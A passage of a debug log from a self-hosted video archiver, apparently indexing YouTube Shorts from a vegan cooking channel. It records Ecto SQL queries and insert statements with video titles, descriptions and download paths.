Really Want to Say to Customers 😳 with Jennifer Lawrence #shorts [FBOyJKrgqSo].NA", "id" => "FBOyJKrgqSo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/FBOyJKrgqSo", "playlist_index" => 287, "timestamp" => 1658847612, "title" => "What Restaurant Workers Really Want to Say to Customers 😳 with Jennifer Lawrence #shorts", "upload_date" => "20220726"} 20:27:56.376 [debug] QUERY OK source="sources" db=0.8ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:56.377 [debug] QUERY OK source="sources" db=0.8ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:56.379 [debug] QUERY OK source="media_items" db=2.4ms idle=3.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-26 15:00:12Z], 1] 20:27:56.381 [debug] QUERY OK source="media_items" db=0.9ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let's be honest, you've been there, just like Jennifer Lawrence in this Saturday Night Live skit. Working in restaurants is not an easy job and we've all had these kinda days. \n\nIf you enjoy daily laughs and food recipes then make sure to subscribe so you don't miss any of our videos! Thanks for the support! Janelle", "What Restaurant Workers Really Want to Say to Customers 😳 with Jennifer Lawrence #shorts", "f1a8dad3-152d-46d6-a083-82e2d95d9789", 1, [], 33, false, "FBOyJKrgqSo", "https://www.youtube.com/shorts/FBOyJKrgqSo", 287, "/downloads/downloads/alec/Steamy Vegan/2022-07-26 What Restaurant Workers Really Want to Say to Customers 😳 with Jennifer Lawrence #shorts/What Restaurant Workers Really Want to Say to Customers 😳 with Jennifer Lawrence #shorts [FBOyJKrgqSo].NA", false, false, true, 2, ~U[2022-07-26 15:00:12Z], ~U[2026-03-22 03:27:56Z], ~U[2026-03-22 03:27:56Z], "Let's be honest, you've been there, just like Jennifer Lawrence in this Saturday Night Live skit. Working in restaurants is not an easy job and we've all had these kinda days. \n\nIf you enjoy daily laughs and food recipes then make sure to subscribe so you don't miss any of our videos! Thanks for the support! Janelle", "What Restaurant Workers Really Want to Say to Customers 😳 with Jennifer Lawrence #shorts", 1, 33, false, "FBOyJKrgqSo", "https://www.youtube.com/shorts/FBOyJKrgqSo", "/downloads/downloads/alec/Steamy Vegan/2022-07-26 What Restaurant Workers Really Want to Say to Customers 😳 with Jennifer Lawrence #shorts/What Restaurant Workers Really Want to Say to Customers 😳 with Jennifer Lawrence #shorts [FBOyJKrgqSo].NA", true, ~U[2022-07-26 15:00:12Z]] 20:27:56.381 [debug] QUERY OK source="sources" db=0.4ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:56.382 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:56.383 [debug] QUERY OK source="media_items" db=0.4ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [676] 20:27:56.383 [debug] Current batch of media processed. Will check again in 1000ms 20:27:57.384 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "My vegan and gluten free pie crust is anything but phlegmy or cruppity as Will Ferrell says in this hilarious SNL skit with Kate McKinnon. Subscribe and check out my full blueberry pie recipe video dropping on the channel today!\n\nFull Recipe Video: https://youtu.be/s9AjXIrzz4w", "duration" => 39, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-26 Cruppity Phlegmy Pie Crust with Will Ferrell 🤤😂 - SNL scene #shorts #youtubeshorts/Cruppity Phlegmy Pie Crust with Will Ferrell 🤤😂 - SNL scene #shorts #youtubeshorts [yG1PsmbWWaQ].NA", "id" => "yG1PsmbWWaQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/yG1PsmbWWaQ", "playlist_index" => 288, "timestamp" => 1658794501, "title" => "Cruppity Phlegmy Pie Crust with Will Ferrell 🤤😂 - SNL scene #shorts #youtubeshorts", "upload_date" => "20220726"} 20:27:57.386 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:57.387 [debug] QUERY OK source="sources" db=1.2ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:57.390 [debug] QUERY OK source="media_items" db=2.7ms queue=0.1ms idle=1005.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-26 00:15:01Z], 1] 20:27:57.392 [debug] QUERY OK source="media_items" db=1.0ms idle=1008.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["My vegan and gluten free pie crust is anything but phlegmy or cruppity as Will Ferrell says in this hilarious SNL skit with Kate McKinnon. Subscribe and check out my full blueberry pie recipe video dropping on the channel today!\n\nFull Recipe Video: https://youtu.be/s9AjXIrzz4w", "Cruppity Phlegmy Pie Crust with Will Ferrell 🤤😂 - SNL scene #shorts #youtubeshorts", "bb099b20-0f3b-4d4a-aa67-076ae9b388d7", 1, [], 39, false, "yG1PsmbWWaQ", "https://www.youtube.com/shorts/yG1PsmbWWaQ", 288, "/downloads/downloads/alec/Steamy Vegan/2022-07-26 Cruppity Phlegmy Pie Crust with Will Ferrell 🤤😂 - SNL scene #shorts #youtubeshorts/Cruppity Phlegmy Pie Crust with Will Ferrell 🤤😂 - SNL scene #shorts #youtubeshorts [yG1PsmbWWaQ].NA", false, false, true, 3, ~U[2022-07-26 00:15:01Z], ~U[2026-03-22 03:27:57Z], ~U[2026-03-22 03:27:57Z], "My vegan and gluten free pie crust is anything but phlegmy or cruppity as Will Ferrell says in this hilarious SNL skit with Kate McKinnon. Subscribe and check out my full blueberry pie recipe video dropping on the channel today!\n\nFull Recipe Video: https://youtu.be/s9AjXIrzz4w", "Cruppity Phlegmy Pie Crust with Will Ferrell 🤤😂 - SNL scene #shorts #youtubeshorts", 1, 39, false, "yG1PsmbWWaQ", "https://www.youtube.com/shorts/yG1PsmbWWaQ", "/downloads/downloads/alec/Steamy Vegan/2022-07-26 Cruppity Phlegmy Pie Crust with Will Ferrell 🤤😂 - SNL scene #shorts #youtubeshorts/Cruppity Phlegmy Pie Crust with Will Ferrell 🤤😂 - SNL scene #shorts #youtubeshorts [yG1PsmbWWaQ].NA", true, ~U[2022-07-26 00:15:01Z]] 20:27:57.393 [debug] QUERY OK source="sources" db=0.4ms idle=134.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:57.393 [debug] QUERY OK source="media_profiles" db=0.5ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:57.394 [debug] QUERY OK source="media_items" db=0.4ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [677] 20:27:57.394 [debug] Current batch of media processed. Will check again in 1000ms 20:27:58.395 [debug] Current batch of media processed. Will check again in 1000ms 20:27:59.396 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Subscribe and stay tuned for my easy blueberry pie recipe dropping later today on the channel. I've made a 4 ingredient vegan and gluten free blueberry pie that is absolutely delicious and you're gonna want to try making this for yourself.\n\nThanks for all your support! Janelle", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-25 What to do with all your blueberries🫐🥧#shorts #youtubeshorts/What to do with all your blueberries🫐🥧#shorts #youtubeshorts [cKLQgXi-VOQ].NA", "id" => "cKLQgXi-VOQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/cKLQgXi-VOQ", "playlist_index" => 289, "timestamp" => 1658784000, "title" => "What to do with all your blueberries🫐🥧#shorts #youtubeshorts", "upload_date" => "20220725"} 20:27:59.397 [debug] QUERY OK source="sources" db=0.5ms idle=813.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:59.398 [debug] QUERY OK source="sources" db=0.3ms idle=814.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:59.400 [debug] QUERY OK source="media_items" db=1.8ms idle=814.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-25 21:20:00Z], 1] 20:27:59.401 [debug] QUERY OK source="media_items" db=0.7ms idle=817.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Subscribe and stay tuned for my easy blueberry pie recipe dropping later today on the channel. I've made a 4 ingredient vegan and gluten free blueberry pie that is absolutely delicious and you're gonna want to try making this for yourself.\n\nThanks for all your support! Janelle", "What to do with all your blueberries🫐🥧#shorts #youtubeshorts", "67b0030f-abc5-4879-87c6-701632ed21c8", 1, [], 15, false, "cKLQgXi-VOQ", "https://www.youtube.com/shorts/cKLQgXi-VOQ", 289, "/downloads/downloads/alec/Steamy Vegan/2022-07-25 What to do with all your blueberries🫐🥧#shorts #youtubeshorts/What to do with all your blueberries🫐🥧#shorts #youtubeshorts [cKLQgXi-VOQ].NA", false, false, true, 1, ~U[2022-07-25 21:20:00Z], ~U[2026-03-22 03:27:59Z], ~U[2026-03-22 03:27:59Z], "Subscribe and stay tuned for my easy blueberry pie recipe dropping later today on the channel. I've made a 4 ingredient vegan and gluten free blueberry pie that is absolutely delicious and you're gonna want to try making this for yourself.\n\nThanks for all your support! Janelle", "What to do with all your blueberries🫐🥧#shorts #youtubeshorts", 1, 15, false, "cKLQgXi-VOQ", "https://www.youtube.com/shorts/cKLQgXi-VOQ", "/downloads/downloads/alec/Steamy Vegan/2022-07-25 What to do with all your blueberries🫐🥧#shorts #youtubeshorts/What to do with all your blueberries🫐🥧#shorts #youtubeshorts [cKLQgXi-VOQ].NA", true, ~U[2022-07-25 21:20:00Z]] 20:27:59.401 [debug] QUERY OK source="sources" db=0.5ms idle=139.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:59.402 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:59.403 [debug] QUERY OK source="media_items" db=0.4ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [678] 20:27:59.403 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-21 Betty White’s Dusty Muffin Unveiling 😱❤️#shorts #youtubeshorts/Betty White’s Dusty Muffin Unveiling 😱❤️#shorts #youtubeshorts [ZPWszQ8bw9g].NA", "id" => "ZPWszQ8bw9g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/ZPWszQ8bw9g", "playlist_index" => 290, "timestamp" => 1658369400, "title" => "Betty White’s Dusty Muffin Unveiling 😱❤️#shorts #youtubeshorts", "upload_date" => "20220721"} 20:27:59.404 [debug] QUERY OK source="sources" db=0.9ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:59.405 [debug] QUERY OK source="sources" db=0.4ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:59.407 [debug] QUERY OK source="media_items" db=1.9ms idle=3.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-21 02:10:00Z], 1] 20:27:59.408 [debug] QUERY OK source="media_items" db=0.9ms idle=5.0ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Betty White’s Dusty Muffin Unveiling 😱❤️#shorts #youtubeshorts", "e9b11e91-e71e-4aaa-9961-141481368ae3", 1, [], 59, false, "ZPWszQ8bw9g", "https://www.youtube.com/shorts/ZPWszQ8bw9g", 290, "/downloads/downloads/alec/Steamy Vegan/2022-07-21 Betty White’s Dusty Muffin Unveiling 😱❤️#shorts #youtubeshorts/Betty White’s Dusty Muffin Unveiling 😱❤️#shorts #youtubeshorts [ZPWszQ8bw9g].NA", false, false, true, 1, ~U[2022-07-21 02:10:00Z], ~U[2026-03-22 03:27:59Z], ~U[2026-03-22 03:27:59Z], "", "Betty White’s Dusty Muffin Unveiling 😱❤️#shorts #youtubeshorts", 1, 59, false, "ZPWszQ8bw9g", "https://www.youtube.com/shorts/ZPWszQ8bw9g", "/downloads/downloads/alec/Steamy Vegan/2022-07-21 Betty White’s Dusty Muffin Unveiling 😱❤️#shorts #youtubeshorts/Betty White’s Dusty Muffin Unveiling 😱❤️#shorts #youtubeshorts [ZPWszQ8bw9g].NA", true, ~U[2022-07-21 02:10:00Z]] 20:27:59.409 [debug] QUERY OK source="sources" db=0.3ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:59.410 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:59.410 [debug] QUERY OK source="media_items" db=0.5ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [679] 20:27:59.411 [debug] Current batch of media processed. Will check again in 1000ms 20:28:00.413 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Dill + Broccoli 🥦 White Bean 🫘 Quinoa Salad! \n\nA perfect summer salad that is fresh, tangy and full of plant-based goodness! \n\nSAVE THIS RECIPE ✔️ FOR LATER! \n\n1.5 cups cooked quinoa, chilled\n1 small crown broccoli, chopped\n2 celery stalks, diced\n1 can white beans (kidney, navy, whatever you like)\n1/3 cup fresh dill, chopped\n1/4 cup sweet green relish\n2 tbsp vegan mayo\n1.5 tbsp dijon mustard\nSalt & pepper to taste\n\nSooooooooo good 🤤 Follow @steamyvegankitchen for more delicious and easy plant based goodness! 🌱\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan #vegansofig #vegansofinstagram", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-20 Dill + Broccoli 🥦 White Bean 🫘 Quinoa Salad | Tangy, fresh and hella delish 🤤/Dill + Broccoli 🥦 White Bean 🫘 Quinoa Salad | Tangy, fresh and hella delish 🤤 [KRRXKpVsQlA].NA", "id" => "KRRXKpVsQlA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/KRRXKpVsQlA", "playlist_index" => 291, "timestamp" => 1658353036, "title" => "Dill + 